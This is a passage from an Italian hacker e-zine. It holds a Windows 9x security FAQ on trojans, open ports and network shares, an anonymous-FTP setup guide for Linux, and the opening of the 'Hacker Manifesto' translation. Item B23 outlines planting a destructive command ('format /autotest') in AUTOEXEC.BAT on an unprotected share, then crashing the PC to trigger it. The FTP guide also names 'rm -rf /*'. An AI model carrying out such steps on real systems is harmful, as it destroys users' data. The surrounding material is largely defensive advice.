avvenute in successione su porte che ha trovato (NON, come in Linux, il |
|totale delle scansioni che ha tentato). |
| |
|Per esempio, se abbiamo una sola porta aperta e quello scansiona sei volte tutto|
|l'intervallo da 1 a 1024, il valore di "Failed Connection Attempts" e' 6. Se in-|
|vece scansiona tutto l'intervallo TRANNE quell'unica porta aperta, il valore sa-|
|rebbe 0. |
| |
+--------------------------------------------------------------------------------+
| |
| [B16] Ma cosa può passare da 'ste benedette porte? |
| |
|Le porte comunemente utilizzate sono elencate alla faq [A03], mentre altre sulle|
|quali si verificano spesso degli attacchi sono riportate alla faq [C04]. E' im- |
|portante però sapere che il tipo di attacco che si può condurre (e quindi i peri|
|coli che si corrono) su una porta aperta dipende da cosa risiede su quella porta|
|cioé dal server in ascolto su di essa. |
| |
|Non bisogna però farsi prendere dalla frenesia di chiudere tutte le porte. Infat|
|ti, se una porta è aperta è (normalmente) perché ci deve passare qualche dato |
|"legittimo", come la porta 80 su macchine che ospitano un server web. In genera-|
|le, prima di chiudere una porta bisogna sapere perché sia aperta; per esempio, |
|il famigerato ICQ apre una porta per ogni comunicazione che ha in corso, e ques-|
|te non cadono nell'intervallo WKP, formato dalle porte <1024. E' possibile ren- |
|dersene conto aprendo una shell MS-DOS con ICQ attivo e scrivendo il comando "ne|
|tstat -na"
(senza virgolette) che mostrerà tutte le porte attive e l'indirizzo |
|remoto a cui sono connesse, oltre allo stato della connessione ("netstat /?" per|
|avere tutte le opzioni). |
| |
+--------------------------------------------------------------------------------+
| |
| [B17] Può un intruso conoscere quello che scrivo sulla tastiera? |
| |
|Sì. Per far questo però è necessario che l'intruso riesca a far eseguire sul com|
|puter da spiare un "server" che intercetti la tastiera e memorizzi i tasti a ma-|
|no a mano che vengono premuti, e a intervalli più o meno regolari (o a ogni con-|
|nessione) li invii al "pirata", per esempio alla sua e-mail. La regola è quindi |
|sempre un controllo assiduo di quello che gira sul proprio computer, con il pro-|
|gramma AVP System Watcher ( http://www.avp.it ) o anche il WinTop dei Kernel Toy|
|(se si usa Windows 9x). Se sul computer è stato installato il server di Back Ori|
|fice, tale funzione è svolta dal file windll.dll (fra le altre). |
| |
+--------------------------------------------------------------------------------+
| |
| [B18] Ma il file windll.dll non e' un file di sistema di Windows? |
| |
|No. Il file windll.dll viene creato dal boserve.exe quando viene eseguito la pri|
|ma volta. Attenzione che il fatto di non averlo puo' non essere significativo: |
|il nome di questo file puo' essere facilmente modificato all'interno del file bo|
|serve.exe usando un editor esadecimale. AVP System Watcher, quando deve rimuover|
|la dll creata dal BO, prevede questa possibilita' ed e' in grado di eliminarla |
|anche se ha un altro nome. |
| |
+--------------------------------------------------------------------------------+
| |
| [B19] Ho ricevuto un messaggio e-mail con un allegato, ma quando tento di leg|
| gerlo il mio Outlook va in crash. |
| |
|"...questo bug affligge sia Outlook 98 sia Outlook Express compreso l'ultimissi-|
|mo Outlook 4.01 SP1 fornito con Microsoft Internet Explorer. In pratica, quando |
|il client e-mail riceve un messaggio con un attachment dal nome lunghissimo può |
|bloccarsi. ...un hacker preparato può preparare ad hoc un attachment il cui nome|
|contiene codice eseguibile con risultati imprevedibili"
|
| |
+--------------------------------------------------------------------------------+
| |
| [B20] Come vedo se ho il protocollo NetBIOS su TCP/IP installato? Che rischi |
| corro? |
| |
|Basta andare in Pannello di Controllo / Rete / Protocolli e controllare la lista|
|I rischi che si corrono sono che e' possibile entrare nel computer inserendo il |
|suo IP in Avvio/Trova/Computer, se si ha Accesso Remoto aggiornato. Naturalmente|
|bisogna avere attivato delle condivisioni di risorse su alcune unita'/directory |
|del computer. Se questo e' necessario, almeno proteggerle con password. |
| |
+--------------------------------------------------------------------------------+
| |
| [B21] [MacOS] E' possibile far piantare il Mac tramite la rete? |
| |
|L'unica cosa che manda in bomba il System 8.1 con l'ultimo OpenTpt è se sta col-|
|legandosi (attivamente) a un server DDP e il server crasha. Resta per un po' con|
|fuso, poi si pianta il Finder e tocca riavviare. Anzi, una volta su cinque tocca|
|pure resettare la P-RAM. |
|Il problema sembra essere piu' grave utilizzando una scheda di rete Dayna 10/100|
|evidentemente non molto affidabile. Un dispositivo comunque non Apple. |
| |
+--------------------------------------------------------------------------------+
| |
| [B22] E' possibile che qualcuno riesca a navigare "sembrando me"? |
| |
|E' in effetti possibile. Questi simpaticoni cercano di connettersi alla porta 10|
|80, dove potrebbe esserci in ascolto un proxy socket. Se riesce nell'intento il |
|tuo computer puo' essere usato dall'attaccante come proxy im modo che il suo com|
|puter venga "nascosto" all'esterno e tutte le operazioni che compirà risulteran-|
|no effettuate dal computer attaccato. |
| |
+--------------------------------------------------------------------------------+
| |
| [B23] Senza programmi come Bo o NetBus e' possibile "entrare" nel computer di|
| qualcuno? |
| |
|Alcune versioni di Windows 95, di serie (o quasi), consentono l'accesso da Inter|
|net al disco. Win95 OSR2 se ne accorge all'installazione di Internet Explorer 4,|
|e propone di chiudere l'accesso. Si ricorda che se nel computer è attivata la |
|condivisione di file e stampanti, magari senza password, è possibile, conoscendo|
|il suo indirizzo IP, vederlo come unita' di rete da Gestione Risorse. Quando si |
|installa Windows o quando si compra il computer con Windows preinstallato, con- |
|trollare ed eventalmente disattivare ogni condivisione. Ricordo che Windows 9x |
|offre servizi di rete senza avere quelle caratteristiche di sicurezza (permessi |
|associati ai file, password) che hanno invece i sistemi multiutente come gli Uni|
|concepiti anche pensando a tali problematiche. |
|Un esempio di attacco a un computer con condivisioni attive e non protette: bast|
|mettere il comando opportuno nell'AUTOEXEC.BAT, ed alla successiva accensione |
|(che puo' essere anche dopo 30 secondi - perche' basta che mandare un nuke, il |
|PC si pianta, e il riavvio e' necessario) esso verrà eseguito, con quali risulta|
|ti dipende dal comando. Se per esempio il comando e' un bel format /autotest... |
| |
+--------------------------------------------------------------------------------+
| |
| [B24] Le porte UDP 137 e 138 sono un rischio? E perché? |
| |
|Sono porte dedicate al NetBios. La 137 è dedicata al NetBios Name Service, la138|
|al NetBios Datagram Service. Fanno parte delle cosiddette "well known ports" i |
|cui indirizzi sono stati assegnati dallo IANA (Internet Assigned Numbers Author)|
|che attualmente gestisce le assegnazioni delle porte nel range 0-1023. Possono |
|essere soggette ad attacchi DoS (Denial of Service). Anche il semplice WinNuke, |
|con il suo invio di dati OOB, può risultare efficace sulle porte 137 e 138, seb-|
|bene in prima istanza l'attacco OOB venne concepito sulla porta 139 (NetBios Ses|
|sion Service). Riguardo al WinNuke, Microsoft ha rilasciato delle patch sul suo |
|sito Web. |
| |
+--------------------------------------------------------------------------------+
| |
| [B25] Ho notato che ogni volta che mi connetto a internet si aprono automati-|
| camente queste due porte 137 e 138. Io ho la versione OSR2 di win95, è |
| un problema di questa versione? |
| |
|Potrebbe esserlo se ti attaccassero su quelle porte sfruttando bug dello stack |
|TCP/IP di MS o semplicemente i limiti insiti in tutti i protocolli basati sul |
|TCP/IP (vedi alla voce "SYN flooding"). Per impedire l'apertura delle due porte |
|suddette, basta eliminare il supporto per il NetBios nelle risorse di rete. |
|Il supporto del NetBios su TCP/IP (NBT) diventa particolarmente pericoloso se |
|hai anche le "shares" (condivisioni di file e/o stampanti) impostate senza pas- |
|sword, fatto che si verifica comunemente in almeno il 5% degli utenti Windows. |
|In quel caso, chi localizza il tuo IP sulla rete puo' entrare nel tuo computer |
|come un falco, usando semplicemente il comando NET o l'Esplora Risorse. |
| |
+--------------------------------------------------------------------------------+
| |
| [C01] Proteggere il sistema - Info generali |
| |
|La prima regola fondamentale è di non eseguire __MAI__ alcun file che non sia di|
|provenienza più che accertata. Questo ancor di più se si è soliti, per esempio, |
|chattare con mIRC o ICQ e qualche interlocutore vi spedisca dei file. Non esegui|
|teli, neanche se promettono di farvi materializzare dal modem una Pamela Ander- |
|son nuda e disponibile :-)) Il pericolo può essere maggiore di quello costituito|
|da un virus "tradizionale". In ogni caso, poiché prevenire è meglio che curare, |
|due programmi di utilità sono: |
| |
| - Nuke Nabber ( http://tucows.iol.it , http://volftp.tin.it ) |
| - AVP System Monitor ( http://www.avp.it/utility ) |
| |
|Il primo è un antinuke che pero' ha il difetto di aprire le porte per controllar|
|le; dovrebbe esistere però una patch che serve a chiuderle. Il secondo è un anti|
|BO/monitor di sistema, freeware, scritto da Paolo Monti (l'autore è reperibile |
|su it.comp.irc). Per utilizzare NukeNabber bisogna avere Winsock 2 o superiori |
|(attualmente siamo alla 2.2), se si hanno versioni precedenti l'aggiornamento è |
|scaricabile come al solito dal sito Microsoft o da vari archivi ftp (con VOLftp |
|si va tranquilli); la versione 2 o superiore del Winsock è necessaria per la sca|
|nsione ICMP. |
| |
|Questo introduce un'altra regola di base, che è quella di tenere costantemente |
|aggiornato il sistema nelle sue componenti vitali come lo stack TCP/IP, per evi-|
|tare di esser vittime di vecchi bug corretti da versioni successive del software|
| |
+--------------------------------------------------------------------------------+
| |
| [C01a] Come si configura correttamente il Nuke Nabber? |
| |
|Come già indicato sono necessarie le winsock 2.x per utilizzare tutte le funzion|
|dello stesso (per incisio, se lo si utilizza su di un sistema winNT, oppure in |
|rete locale con macchine UNIX è possibilie configurare le attività di logging |
|rispettivamente nell'event monitor oppure verso il demone syslogd). |
|Vi sono due filosofie d'utilizzo di questo sw:(a) Permettergli di controllare |
|tutto il controllabile, (b) Sintonizzarlo solo ed esclusivamente dove è utile; |
|la seconda serve ad evitare che il sistema sia vittima di attachi che richiedono|
|"porte aperte" e che il Nabber non è in grado di gestire. |
| |
|Quando il Nabber controlla una porta, questa viene lasciata aperta (vedi sez. |
|TCP/IP), dovrebbe esistere una patch per effettuare una chiusura preventiva |
|[[dove ?????]], solo dopo uno scan e/o attacco questa viene chiusa. |
|Configurare il Nabber, in File -> Options -> General almeno due opzioni devono |
|essere selezionate: "Block port scan" (chiude le porte dopo uno scan) e "Disable|
|port for....."
(evita di riaprirle per X secondi). Poi, in File -> Options -> |
|Advanced si possono controllare le attivita' di monitoring sulle porte. |
|Se si decide per (a) (vedi sopra) indicare le porte segnate con (a) alla voce |
|monitoring nell'elenco presente in [PORT-Appendice] e riportate anche qui per |
|brevita'. NukeNabber di default controlla le seguenti porte: 5001 (tcp), 5000 |
|(tcp), 1080 (tcp), 1032 (tcp), 1029 (tcp), 1027 (tcp), - 139 (tcp), 138 (tcp), |
|137 (tcp), Queste devono restare, ma disinstallando NetBIOS o installando WinNu-|
|ke95 e selezionando "Patch against Nuke", le si puo' togliere. - 129 (tcp), ma |
|non e' un servizio standard. - 53 (tcp), si può togliere, a meno di non avere un|
|DNS sul PC, accessibile dall'esterno. - 19 (udp). su Windows 95 non c'è il servi|
|zio chargen corrispondente alla porta. Su WinNT, va elimitato, dal pannello di |
|controllo "Small TCP Services", perche' si puo' indurre NT a cortocircuitare le |
|proprie porte 19 e 53, con risultati non proprio esaltanti. Con Windows 95/98 no|
|(non c'e' il servizio). Vanno aggiunte invece le seguenti: |
| |
| - 31337 (udp), Porta di default del Bo. |
| - 61466 (tcp), 50505 (tcp) |
| - 12345 (tcp), 12346 (tcp),porte utilizzate da NetBus. |
| |
|Se si segue la filosofia (b) ci si limitera' a: ICMP / 139 (TCP) / 19 (UDP) |
| |
|Si tenga comunque presente che gli scan alla ricerca di backdoor/server vari non|
|sono pericolosi in quanto tali - il Nabber è veramente essenziale solo se si uti|
|lizza IRC, dal momento che ci sono persone che attaccano sistematicamente tutti |
|quelli che si affacciano su di una canale |
| |
+--------------------------------------------------------------------------------+
| |
| [C02] Le componenti di rete, ovvero: cosa tengo e cosa tolgo? |
| |
|Anzitutto, se possibile. togliere assolutamente i protocolli NetBEUI e IPX/SPX, |
|o almeno il binding con Accesso Remoto (se si ha Windows). Questi servono per re|
|ti locali e non per Internet; nel caso di un computer a casa collegato a Interne|
|con modem e accesso tramite provider su linea telefonica, nelle proprietà della |
|Rete dovrebbe esserci solo Scheda di Accesso Remoto e TCP/IP in binding con essa|
|Eliminare se possibile anche il client per reti Microsoft. Condivisioni: elimina|
|re o, se necessarie, proteggere con password le directory condivise. I protocol-|
|li NetBEUI e IPX/SPX non devono comunque essere associati ad Accesso Remoto ma |
|solo al driver della scheda di rete. |
| |
+--------------------------------------------------------------------------------+
| |
| [C03] Ma se tolgo il Client per reti MS non mi memorizza più la password!!! |
| |
|Meglio!!! ^__^ Ogni informazione memorizzata nell'hard disk è a disposizione del|
|l'hacker oppure lamer di turno. Almeno gli si renda la vita più difficile non fa|
|cendogli trovare bello e pronto quel che cercano. I file .pwl di Windows, poi, |
|dove vengono memorizzate le password, non sono certo difficili da decifrare (ve-|
|di patch per la sicurezza che Microsoft ogni tanto emette). Ricordo che se qual-|
|cuno vi frega la pass di accesso a Internet poi si può connettere e per il pro- |
|vider (E PER L'AUTORITA' GIUDIZIARIA) sarete voi a esservi connessi e ad averw |
|commesso eventuali atti illeciti. A meno che riusciate a dimostrare di essere |
|stati craccati (della serie, campa cavallo...). |
| |
+--------------------------------------------------------------------------------+
| |
| [C04] Quali porte controllare con NukeNabber? |
| |
|NukeNabber di default controlla le seguenti porte: |
| |
| - 5001 (tcp), 5000 (tcp), 1080 (tcp), 1032 (tcp), 1029 (tcp), 1027 (tcp), |
| Queste possono essere cancellate: le >1024 sono aperte in outbound. |
| - 139 (tcp), 138 (tcp), 137 (tcp), |
| Queste devono restare, ma disinstallando NetBIOS o installando WinNuke95 e |
| selezionando "Patch against Nuke", le si può togliere. |
| - 129 (tcp), 129 non è un servizio standard. |
| - 53 (tcp), si può togliere, a meno di non avere un name server sul PC, acces- |
| sibile dall'esterno. |
| - 19 (udp). su Windows 95 non c'è il servizio chargen corrispondente alla porta|
| Su WinNT, va elimitato, dal pannello di controllo "Small TCP Servi-|
| ces"
, perché si può indurre NT a cortocircuitare le proprie porte |
| 19 e 53, con risultati non proprio esaltanti. Con Windows 95/98 no |
| (non c'è il servizio). |
| |
|Vanno aggiunte invece le seguenti: |
| |
| - 31337 (udp), Questa e' la porta di default del Bo. |
| - 61466 (tcp), Master Paradise |
| - 50505 (tcp), icqtrogen |
| - 12345 (tcp), 12346 (tcp). Su queste porte può arrivare una connessione NetBus|
| |
|Attenzione che NukeNabber e' un programma di monitoraggio e non una protezione |
|vera e propria. Esso consente di sapere se le porte sotto controllo sono sotto |
|attacco, ma non è efficace contro attacchi tipo Land, Boink, Teadrop I e II, |
|Ssping ecc... |
| |
+--------------------------------------------------------------------------------+
| |
| [C05] Cosa uso per controllare l'attivita' di rete del mio computer? |
| |
|DOS Win95 Linux |
| |
| tracert tracert traceroute |
| ping ping ping |
| netstat netstat netstat |
| nbtstat nbtstat nbtstat |
| - NukeNabber tcplogd |
| - - tcpd |
| - NukeNabber(?) icmpd |
| - - strobed |
| - - - route route (1) route |
| - aggressor aggressor |
| fdisk fdisk fdisk |
| - win startx ;-) |
| - office staroffice |
| pov pov32 povray |
| ... |
| |
| (1) Non funziona bene |
| (2) Children, DO NOT DO THIS AT HOME |
| (C) Leonardo Serni, da un post del quale ho brutalmente copy&past-ato la tabel|
| la di cui sopra (siiii', anch'io lamer!) |
| |
+--------------------------------------------------------------------------------+
| |
| [C06] Password mantenute in cache |
| |
|Un piccolo suggerimento per tutti: è possibile evitare l'uso delle cached pas- |
|sword modificando una chiave nel Registry. Basta impostare al valore 1 la seguen|
|te chiave: |
| |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ |
| Network\DisablePwdCaching|
| |
+--------------------------------------------------------------------------------+
| |
| [C07] Ho il programma WinTOP dei Kernel Toys. Serve a qualcosa? |
| |
|Si'. WinTOP (che si può lanciare da Avvio[Start]/Esegui, scrivere wintop.exe) |
|mostra un elenco di tutti i processi attivi nel computer, con la possibilità per|
|ognuno di essi di avere l'elenco dei thread generati. A differenza della fines- |
|tra che appare premendo CTRL-ALT-DEL, in WinTOP viene mostrato tutto quello che |
|è in esecuzione, e quindi si possono individuare cose "non regolari". |
| |
|Idle, kernel32, msgsrv32, mprexe, mmtask, explorer, rundll32 sono task di siste-|
|ma. Per vedere i dettagli di un processo, cliccate con il tasto destro e sceglie|
|te Properties: qui in due schede sono mostrate, appunto, le proprietà del proces|
|so. Quello che interessa e' la seconda, dove può essere presente un bottone "Ter|
|minate process now"
, che permette appunto di uccidere il processo. Il bottone è |
|disponibile sui processi contrassegnati dalla finestra, mentre quelli contrasse-|
|gnati dalla ruota dentata non possono essere terminati in questo modo. |
| |
| [Attenzione] WinTop non permette di effettuare la chiusura dei processi con ca-|
| ratteristiche di servizi di sistema, mentre con AVP System Watch è|
| possibile fare anche questa operazione. |
| |
+--------------------------------------------------------------------------------+
| |
| [C08] E' vero che si possono far eseguire dei programmi dannosi allegandoli |
| a un messaggio e-mail? |
| |
|Dipende da cosa si intende dire. In generale, una mail è costituita da una seque|
|nza di caratteri ASCII, che vengono mostrati in una finestra del programma di |
|posta elettronica, ma non sono eseguiti. La mail può però contenere un allegato |
|di tipo qualunque, e ai fini della sicurezza del sistema interessano due classi |
|di file: eseguibili (.exe, .com) e binari creati da applicazioni che hanno un |
|certo livello di programmabilità per mezzo di macrolinguaggi (documenti Word o |
|Excel, per esempio). Il testo della mail non è pericoloso, al contrario di quel |
|che dicono dei messaggi terroristici che periodicamente spammano i newsgroup. |
| |
|Il discorso cambia per gli allegati suddetti. Un file di Winword può contenere |
|una macro che in realtà è un macrovirus, e la sua apertura CON WINWORD può infet|
|tare il computer col virus stesso. Un file eseguibile può anch'esso essere infet|
|to. Non si proseguirà qui sul discorso dei virus, esistendo un newsgroup dedica-|
|to ad essi, cioè it.comp.sicurezza.virus, e le relative FAQ. |
| |
|I pericoli che possono nascondersi negli eseguibili non sono però finiti. |
|Un eseguibile può nascondere un trojan o una backdoor, ed eseguendolo vengono in|
|stallati questi ultimi. Qui il trucco non sta solo nell'avere programmi antiviru|
|e di monitoraggio aggiornati e sofisticati, ma soprattutto in un settaggio furbo|
|del programma di posta. Questo deve essere impostato in modo che gli allegati |
|"sensibili" non vengano aperti direttamente cliccandoci sopra, ma salvati su dis|
|co per poterli passare con comodo all'antivirus e agli altri controlli. In poche|
|parole, un .jpeg può essere automaticamente aperto, un documento Word NO, NO, |
|NO, NO, NO (ripetere n volte, con n->oo) e neppure un eseguibile. |
| |
+--------------------------------------------------------------------------------+
| |
| [C09] Posso proteggere un file o una directory sotto Windows da accessi |
| indesiderati? |
| |
|Certo. Naturalmente, a causa della natura intrinsecamente insicura di Windows |
|(TUTTE le versioni dal 98 in giù) dovuta al fatto che si tratta di un sistema |
|sostanzialmente monoutente, questo è impossibile in maniera nativa, e i program-|
|mi che si possono trovare sono tutti più o meno aggirabili (basta un boot da dis|
|chetto per accedere al sistema, anche se da DOS puro, a meno di disabilitarlo |
|dal BIOS). |
| |
|Se la partizione in cui si trova il file/directory da proteggere è formattata |
|FAT-16 (cosa facilmente verificabile con un click destro sulla unità, scegliendo|
|Proprietà/Generale e controllando la presenza o meno della dicitura FAT-32 ac- |
|canto alla riga Tipo: Disco locale), c'è però un trucco semplice, che necessita |
|di un programma come il buon vecchio PC-tools. |
| |
|Per facilitare le cose, si mettano i file in un'unica directory, chiamata ad es |
|"VARIEK". Riavviare in Modalità MS-DOS (NON il prompt!!!), lanciare PC-tools, lo|
|calizzare la directory VARIEK e sostituire la K con ALT+255; questo è un caratte|
|re che sembra lo spazio, e l'effetto è di rendere la directory inaccessibile sia|
|da DOS che da Windows. Per entrarvi, occorre utilizzare di nuovo PC-tools e rim-|
|piazzare ALT+255 con un carattere alfanumerico. La cosa può sembrare macchinosa,|
|ma è possibile scrivere un programma che faccia il cambio in automatico, cosic- |
|ché per entrare nella directory e accedere ai file contenuti basta lanciare il |
|programmino e una volta finito rieseguirlo per compiere l'operazione opposta. |
|Stessa cosa per i nomi dei singoli file, per esempio per creare in dos dei file |
|con spazi inframezzati, o in Windows (3.1 o anche 95) scrivere file che windows |
|non può rileggere se non dopo accurata modifica del nome. |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [VARI] -=[09]=- |
| Come mettere un Server FTP Anonimo su Linux Tormento |
+--------------------------------------------------------------------------------+
| |
|Allora, chi di voi ha sempre desiderato di aprire mettere su un FTP sul proprio |
|computer e non ci è mai riuscito? Nessuno??? |
|Vabbé, comunque io ve lo spiego lo stesso, visto che con Linux questo è possibi-|
|le... |
|A prescindere dal fatto che decidiate di fornire un ftp anonimo oppure solo un |
|accesso FTP al sito, dovete comunque svolgere alcune operazioni di configurazio-|
|ne. Per essere certi che gli utenti non ottengano l'accesso ai file sbagliati, |
|dovete rendere attivo e in esecuzione il demone FTP (ftpd) e impostare corretta-|
|mente i permessi per il filesystem. |
| |
|Inanzitutto, scegliete un nome per il sito. Per utilizzare l'FTP non è indispen-|
|sabile avere un nome del sito, ma in questo modo le persone vi troveranno più fa|
|cilmente. La sintassi è questa: |
| |
| FTP.NOMEDELDOMINIO.TIPODOMINIO |
| |
|NOMEDELDOMINIO si riferisce al nome di dominio del server mentre |
|TIPODOMINIO si riferisce all'estensione DNS (.com , .net etc.) |
| |
|Quando viene effettuata una connessione FTP, il programma segue una procedura |
|suddivisa in cinque fasi per ogni connessione. |
| |
| 1. Login: riceve e controlla il nome utente e la password |
| 2. Definire la directory: identifica la directory di partenza |
| 3. Definire la modalità di trasferimento |
| 4. Avviare il trasferimento dei dati: permette all'utente di immetere comandi |
| 5. Interrompere il trasferimento dei dati: chiude la connessione |
| |
|Per permette al server FTP di gestire queste attività, occorre impostare il de- |
|mone FTP, ftpd e configurarlo. |
|Il demone ftpd deve essere avviato sul server FTP. Questa operazione viene di |
|solito eseguita avendo un demone inetd che la gestisce e viene avviata solo quan|
|do qualcuno vuole l'FTP. |
| |
|Inetd osserva la porta del comando TCP (porta 21) in attesa che arrivi un pac- |
|chetto che richiede una connessione e poi quando arriva un pacchetto attiva in |
|modo dinamico il demone ftpd. |
| |
|Per essere certi che il demone ftpd possa essere avviato da inetd, esaminate il |
|file di configurazione di inetd, che si trova in /etc/inetd.conf , per vedere se|
|è presente una riga simile alla seguente: |
| |
| ftp stream tcp nowait root /usr/etc/inetd ftpd -l |
| |
|Se non c'è, dovrete aggiungerla. Di solito si trova nella maggior parte delle |
|distribuzioni ma è anche possibile che la troviate sotto forma di commento (con |
|il segno # davanti), dunque in quel caso basta che togliate il cancelletto (che |
|non è un cancello piccolo ma il segno #) |
| |
|Per cambiare il comportamento del demone ftpd, potrete aggiungere altre opzioni |
|come -l. |
|L'opzione -l può essere personalizzata per registrare informazioni diverse sulle|
|attività dell'FTP. Se specificate l'opzione -l avrete un file log delle sessioni|
|Se, invece, lo specificate due volte, avrete anche un file log di tutti i coman-|
|di. Se lo specificate tre volte, ottenete anche le dimensioni di tutti i trasfe-|
|rimenti effettuati. |
| |
| Login |
|Se avrete intenzione di impostare un FTP dove ogni utente abbia il proprio login|
|e la propria password, dovrete creare le voci per gni utente nel file |
|/etc/passwd. Se avete intenzione di non fornire un accesso anonimo, non create |
|login troppo semplici che chiunque potrebbe utilizzare. |
| |
|Se avrete intenzioni di offrire connessioni con login anonimo, dovrete creare un|
|login per l'ID utente anonimo. Questo login potrebbe già essere presente e quin-|
|di controllate se esiste nel file /etc/passwd. Potrebbe assomigliare alla seguen|
|te: |
| |
| ftp:*:400:51:Anonymous FTP access:/usr/ftp:/bin/false |
| |
|Questa sintassi imposta l'utente anonimo con un login di FTP, un numero utente |
|di 400, un numero di ID di gruppo e una directory di login. Sarebbe meglio asse-|
|gnare gli utenti anonimi a un gruppo separato modificando il file /etc/group e |
|creando un nuovo gruppo. Poi, potete impostare l'utente FTP per quel gruppo. |
|Se gli utenti FTP hanno un unico gruppo, diventa più facile impostare i permessi|
|e limitare l'accesso al sistema. |
| |
| Directory |
|Nei limiti del possibile, sarebbe meglio avere le sottodirectory degli utenti a-|
|nonimi come un filesystem separato, senza alcuna possibilità per l'utente anoni-|
|mo di andare da qualche altra parte tranne che nella sottodirectory designata a |
|quello scopo. Quindi, dovete creare un filesystem in miniatura per l'utente FTP |
|anonimo. Ecco come impostare le directory: |
| |
| 1. Create le directory /bin (come /usr/ftp/bin) e copiatevi il comando ls |
| 2. Create la directory /etc e copiatevi i vostri file /etc/passwd e /etc/group|
| 3. Create la directory /lib e copiatevi i file /lib/id.so e /libc.so.xx |
| 4. Create la directory /pub per contenere i file accessibili |
| 5. Create la directory /dev |
| |
|Le copie dei file /etc/passwd e /etc/group che sono state copiate nella directo-|
|ry /etc dell'FTP devono essere modificate per sostituire qualunque password con |
|un asterisco. Nei file /etc/passwd e /etc/group devono essere eliminate tutte le|
|voci, tranne quelle che appartengono ai login FTP anonimi in modo da vere maggio|
|re sicurezza. |
| |
|La directory /pub ,invece, può essere utilizzata per memorizzare i file che vole|
|te rendere accessibili dagli utenti anonimi. Questa directory può essere suddivi|
|sa in sottodirectory e i file che volete che l'utente anonimo abbia possono esse|
|re semplicemente copiati. |
| |
| Sicurezza |
|Siamo hackers ed abbiamo nemici hackers. Se qualcuno digita il comando rm -rf /*|
|siamo fottuti! |
|Ed è per questo motivo che dovete utilizzare il comando chroot per fare apparire|
|la directory root qualcosa di diverso dalla directory effettiva /. |
| |
|Se la directory è impostata a /usr/-ftp/ con chroot, l'utente può essere mantenu|
|to all'interno della struttura dlla directory -ftp e puo' essere negato l'acces-|
|so al sistema. |
| |
|Per impostare i permessi della directory in modo che abbia solo i permessi di |
|lettura e esecuzione, utilizzate il seguente comando: chmod 555 nome_dir |
| |
|Dopo aver fatto tutto ciò provatevi a connetervi al vostro sistema via ftp e fa-|
|te un test. Se avete settato bene i permessi e non riuscirete ad accedere alla |
|directory root, significa che il vostro ftp è ok. |
| |
|Qui di seguito vi riporto un elenco di cose da fare per far funzionare meglio |
|l'FTP: |
| |
| 1. Create un account utente sul sistema denominato FTP |
| 2. Impostate la directory home per l'utente ftp /home/ftp |
| 3. Rendete il root proprietario della directory home FTP con il comando chown |
| root /usr/ftp |
| 4. Utilizzate il comando chmod ugo -w /usr/ftp per non permettere a nessuno di|
| scrivere nella directory home dell'FTP |
| 5. Create una directory /bin nella directory home /ftp e rendetela non scrivi-|
| bile e di proprieta' di root con i comandi chown e chmod utilizzati in pre-|
| cedenza |
| 6. Create una directory /etc e rendetela non scrivibile e di proprietà di root|
| 7. Inserite i file /etc/passwd e /etc/group nella directory /ftp/etc e modifi-|
| cateli per eliminare tutto tranne l'utente ftp e group |
| 8. Create la directory -ftp/pub/incoming e rendetela scrivibile da chiunque e |
| di proprietà di root |
| |
|Ora potete mettere su un bell'FTP. Mi raccomando chi fra voi lo metterà, mi con-|
|tatti ed io sarò molto contento di vederlo. |
| |
|Ecco fatto! Si e' concluso anche quest'altro articolo. Che fatica! |
| |
+--------------------------------------------------------------------------------+
| |
| (-:(-:(-:(-NICK--):-):-):-) |
| (-:(-:(-:T0rment0 :-):-):-) |
| (-:(-:(-:(-:MAIL-):-):-):-) |
| (-:(-:urkes@hotmail.com :-) |
| (-:(-:(-:(-HOME--):-):-):-) |
| (-:come.to/hackernovello:-) |
| (-:(-:(-:(-::-):-):-):-):-) |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [VARI] -=[10]=- |
| MANIFESTO Mentor |
+--------------------------------------------------------------------------------+
| |
|Un altro è stato preso oggi, è su tutti i giornali. "Adolescente arrestato nello|
|scandalo del crimine informatico"
, "Hacker arrestato dopo aver tentato di mano- |
|mettere una banca"
... Maledetti ragazzi. Sono tutti uguali. |
| |
|Ma avete mai, nelle vostra psicologia da tre soldi e nel vostro tecnocervello |
|del 1950, guardato oltre gli occhi dell'hacker? Vi siete mai chies

  
ti cosa lo fa |
|spuntare, quali forze lo condizionano, cosa ha potuto formarlo? Io sono un Hac- |
|ker, entrate nel mio mondo... Il mio è un mondo che inizia con la scuola... sono|
|più intelligente della maggior parte degli altri ragazzi, questa merda che ci in|
|segnano mi annoia... Dannati sottosviluppati. Sono tutti uguali. |
| |
|Sono alla scuola superiore. Ho ascoltato insegnanti che spiegavano per la quindi|
|cesima volta come ridurre una frazione. L'ho capito. "No, Mr. Smith, non ho mos-|
|trato il mio lavoro. L'ho nella mia testa..."Maledetti ragazzi. Probabilmente l'|
|ha copiato. Sono tutti uguali. |
| |
|Ho fatto una scoperta oggi. Ho trovato un computer. Aspetta un secondo, è forte.|
|Fa quello che voglio. Se fa un errore, è perché ho combinato un guaio. |
|Non perché non gli piaccio... O perché ha paura di me... O pensa che io sia un |
|culo intelligente... O non gli piace insegnare e non dovrebbe essere qui... Dan-|
|nati ragazzi. Tutto quello che fa è far funzionare i giochi. Sono tutti uguali. |
| |
|E poi è successo... si è aperta una porta su un mondo... correndo sulle linee |
|del telefono come l'eroina nelle vene di un drogato, un impulso elettronico vie-|
|ne spedito, cerco un rifugio dalle incompetenze quotidiane... trovo una BBS. |
|"È qui... qui è dove io sono..." Conosco tutti qui... anche se non li ho mai in-|
|contrati, non ho mai parlato con loro, e forse non li sentirò più... Vi conosco |
|tutti... Dannati Ragazzi. Ancora attaccato alla linea telefonica. Sono tutti ugu|
|ali. |
| |
|Puoi scommetterci il culo che siamo tutti uguali... Siamo stati bambini nutriti |
|con un cucchiaio a scuola quando noi desideravamo ardentemente una bistecca... |
|i pezzi di carne che avete lasciato cadere erano pre-masticati e senza sapore. |
|Siamo stati dominati da sadici, o ignorati dagli apatici. I pochi che avevavo qu|
|alcosa da insegnarci ci hanno visto come alunni volenterosi, ma questi pochi so-|
